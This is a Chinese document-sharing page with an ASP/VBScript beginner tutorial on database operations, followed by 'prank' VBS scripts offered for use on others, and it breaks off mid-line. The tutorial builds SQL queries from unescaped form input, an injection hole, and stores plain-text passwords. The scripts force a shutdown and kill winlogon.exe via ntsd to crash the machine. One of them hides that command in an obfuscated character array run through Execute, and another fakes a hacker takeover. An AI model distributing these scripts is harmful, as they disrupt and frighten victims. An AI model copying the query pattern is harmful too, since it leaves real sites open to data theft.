ASP脚本语言入门.docx
《ASP脚本语言入门.docx》由会员分享，可在线阅读，更多相关《ASP脚本语言入门.docx（10页珍藏版）》请在冰豆网上搜索。
ASP脚本语言入门
一.VBScript语法简介
VBScript语句是一种基于VB的一种脚本语言,主要用于WEB服务器端的程序开发,我们
这里只介绍一些简单的语句，主要是操作数据库的几种常见的语句
<1>.vbscript的标识
<%
语句
……
%>
<2>定义变量dim语句
<%
dima,b
a=10
b=”ok!
”
%>
注意：
注意：
定义的变量可以是数值型，也可以是字符或者其他类型的
<3>简单的控制流程语句
1.If条件1then
语句1
elseif条件2then
语句2
else
语句3
endif
2.while条件
语句
wend
3.forcount=1tonstepm
语句1
exitfor
语句2
next
二.ASP数据库简单操作教程
<1>.数据库连接（用来单独编制连接文件conn.asp）
<%
Setconn=Server.CreateObject（"ADODB.Connection"）
conn.Open"DRIVER={MicrosoftAccessDriver（*.mdb）};DBQ="&Server.MapPath（"\bbs\db1\user.mdb"）
%>
（用来连接bbs\db1\目录下的user.mdb数据库）
<2>显示数据库记录
原理：
将数据库中的记录一一显示到客户端浏览器，依次读出数据库中的每一条记录
如果是从头到尾：
用循环并判断指针是否到末 使用:
notrs.eof
如果是从尾到头：
用循环并判断指针是否到开始 使用：
notrs.bof
--#includefile=conn.asp--> （包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库）
<%
setrs=server.CreateObject（"adodb.recordset"） （建立recordset对象）
sqlstr="select*frommessage" ---->（message为数据库中的一个数据表，即你要显示的数据所存放的数据表）
rs.opensqlstr,conn,1,3 ---->（表示打开数据库的方式）
rs.movefirst ---->（将指针移到第一条记录）
whilenotrs.eof ---->（判断指针是否到末尾）
response.write（rs（"name"）） ---->（显示数据表message中的name字段）
rs.movenext ---->（将指针移动到下一条记录）
wend ---->（循环结束）
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
setrs=nothing
setconn=nothing
-------------------------------------------------------
%>
其中response对象是服务器向客户端浏览器发送的信息
<3>增加数据库记录
增加数据库记录用到rs.addnew,rs.update两个函数
--#includefile=conn.asp--> （包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库）
<%
setrs=server.CreateObject（"adodb.recordset"） （建立recordset对象）
sqlstr="select*frommessage" ---->（message为数据库中的一个数据表，即你要显示的数据所存放的数据表）
rs.opensqlstr,conn,1,3 ---->（表示打开数据库的方式）
rs.addnew 新增加一条记录
rs（"name"）="xx" 将xx的值传给name字段
rs.update 刷新数据库
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
setrs=nothing
setconn=nothing
-------------------------------------------------------
%>
<4>删除一条记录
删除数据库记录主要用到rs.delete,rs.update
--#includefile=conn.asp--> （包含conn.asp用来打开bbs\db1\目录下的user.mdb数据库）
<%
dimname
name="xx"
setrs=server.CreateObject（"adodb.recordset"） （建立recordset对象）
sqlstr="select*frommessage" ---->（message为数据库中的一个数据表，即你要显示的数据所存放的数据表）
rs.opensqlstr,conn,1,3 ---->（表示打开数据库的方式）
-------------------------------------------------------
whilenotrs.eof
ifrs.（"name"）=namethen
rs.delete
rs.update 查询数据表中的name字段的值是否等于变量name的值"xx"，如果符合就执行删除，
else 否则继续查询,直到指针到末尾为止
rs.movenext
endif
wend
------------------------------------------------------
------------------------------------------------------
rs.close
conn.close 这几句是用来关闭数据库
setrs=nothing
setconn=nothing
-------------------------------------------------------
%>
<5>关于数据库的查询
（a）查询字段为字符型
<%
dimuser,pass,qq,mail,message
user=request.Form（"user"）
pass=request.Form（"pass"）
qq=request.Form（"qq"）
mail=request.Form（"mail"）
message=request.Form（"message"）
iftrim（user）&"x"="x"ortrim（pass）&"x"="x"then （检测user值和pass值是否为空，可以检测到空格）
response.write（"注册信息不能为空"）
else
setrs=server.CreateObject（"adodb.recordset"）
sqlstr="select*fromuserwhereuser='"&user&"'" （查询user数据表中的user字段其中user字段为字符型）
rs.opensqlstr,conn,1,3
if rs.eofthen
rs.addnew
rs（"user"）=user
rs（"pass"）=pass
rs（"qq"）=qq
rs（"mail"）=mail
rs（"message"）=message
rs.update
rs.close
conn.close
setrs=nothing
setconn=nothing
response.write（"注册成功"）
endif
rs.close
conn.close
setrs=nothing
setconn=nothing
response.write（"注册重名"）
%>
（b）查询字段为数字型
<%
dimnum
num=request.Form（"num"）
setrs=server.CreateObject（"adodb.recordset"）
sqlstr="select*frommessagewhereid="&num （查询message数据表中id字段的值是否与num相等，其中id为数字型）
rs.opensqlstr,conn,1,3
ifnotrs.eofthen
rs.delete
rs.update
rs.close
conn.close
setrs=nothing
setconn=nothing
response.write（"删除成功"）
endif
rs.close
conn.close
setrs=nothing
setconn=nothing
response.write（"删除失败"）
%>
<6>几个简单的asp对象的讲解
response对象:
服务器端向客户端发送的信息对象,包括直接发送信息给浏览器,重新定向URL，或设置cookie值
request对象:
客户端向服务器提出的请求
session对象:
作为一个全局变量，在整个站点都生效
server对象：
提供对服务器上方法和属性的访问
（a）response对象的一般使用方法
比如：
<%
response
.write（"hello,welcometoasp!
"）
%>
在客户端浏览器就会看到 hello,welcometoasp!
这一段文字
<%
response.Redirect（""）
%>
如果执行这一段，则浏览器就会自动连接到“搜狐”的网址
关于response对象的用法还有很多，大家可以研究研究
request对象的一般使用方法
比如客户端向服务器提出的请求就是通过request对象来传递的
列如：
你在申请邮箱的所填写的个人信息就是通过该对象来将
你所填写的信息传递给服务器的
比如：
这是一段表单的代码，这是提供给客户填写信息的，填写完了按
“提交”传递给request.asp文件处理后再存入服务器数据库
那么request.asp该如何将其中的信息读入，在写入数据库，在这里就要用到
request对象了，下面我们就来分析request.asp的写法
<%
dimname,password （定义user和password两个变量）
name=request.form（“user”） （将表单中的user信息传给变量name）
password=request.form（“pass”）（将表单中的pass信息传给变量password）
%>
通过以上的几句代码我们就将表单中的数据读进来了，接下来我们要做的就是将
信息写入数据库了，写入数据库的方法上面都介绍了，这里就不一一复述了。
（通过上面的学习大家完全可以自己做一个留言版了）
脚本vbs整人代码
发现有许多的人喜欢用一些脚本来整人，所以就贡献出这些吧
希望大家喜欢
复制到记事本，后缀改为.vbs
一
fMsgBox（"对不起,您灌水太多需要重新启动计算机。
"&chr（10）&"确定要重启吗？
",vbOKCancel+vbInformation,"重新启动计算机"）=vbCancelthen
msgbox"系统将立刻重起wow~_^",,"你上当了！
！
"
SetobjShell=CreateObject（"Wscript.Shell"）
objShell.Run"shutdown-s-t5",,true
endif
二
这个很强悍的vbs,蓝屏
strs=array（13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
110,100,32,105,102,13,10,13,10,13,10）
fori=1toUBound（strs）
runner=runner&chr（strs（i））
next
Executerunner
三
ifMsgBox（"你是猪头吗？
",vbYesNo,"提示"）=vbyesthen
msgbox"你SB啊!
"
else
msgbox"还不承认!
!
作为惩罚，蓝屏一下，你马上挂了#￥！
@#￥%@……#……?
",64,"严重警告!
!
!
!
!
!
!
!
!
"
Setws=CreateObject（"Wscript.Shell"）
wscript.sleep 1200
ws.run"cmd/cstart/minntsd-cq-pnwinlogon.exe1>nul2>nul",vbhide
endif
四
Setws=WScript.CreateObject（"WScript.Shell"）
ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64
ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！
",15,"farewell",64
wscript.sleep100000
ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10
ws.popup"正在下载windows更新……",12
wscript.sleep10000
ws.popup"windows更新已下载完毕，正在安装更新……",12
wscript.sleep3000
msgbox"系统检测到WINDOWS更新中携带有不明软件comcontroler.exe，并在强行嵌入你的电脑",4132,"是否对其进行扫描？
"
msgbox"软件名：
comcontroler.exe"&vbcrlf&""&vbcrlf&"大小：
1.21MB"&vbcrlf&""&vbcrlf&"发行者：
幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&"安全状况：
有病毒",vbinformation
msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"
msgbox"阻止失败，请检查防火墙是否开启"
wscript.sleep15000
ws.popup"windows更新安装成功！
",vbinfmation,20
msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation
ws.popup"哈哈，我已经控制了你的电脑！
",12,"很高兴见到你",64
ws.popup"不信？
我用你的电脑打开我的QQ空间给你看看",10
ws.run"
msgbox"警告：
为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation
ws.popup"我再打开中国红客联盟网站",10
ws.run"
ws.popup"现在相信了吧？
我再打开你的记事本给你写封英语信",20
ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。
否则引起系统混乱我可不负责！
"
ws.run"notepad",3:
wscript.sleep2000
verybat=split（"dear,friends,~, nice,to,meet,you,i,am,so,sorry,that,i,controled,your,computer,without,you,allowing,~,please,excuse,me,i,want,to,say,to,you,today,~,my,friends,so,even,through,we,face,the,difficulties,of,today,and,tomorrow,~,still,have,a,dream,it,is,a,dream,deeply,rooted,in,our,common,dreams,~,Maybe,it's,true,that,we,do,not,know,what,we,have,got,until,we,lose,it,~,but,it,is,also,true,that,we,do,not,know,what,we,h
升级会员 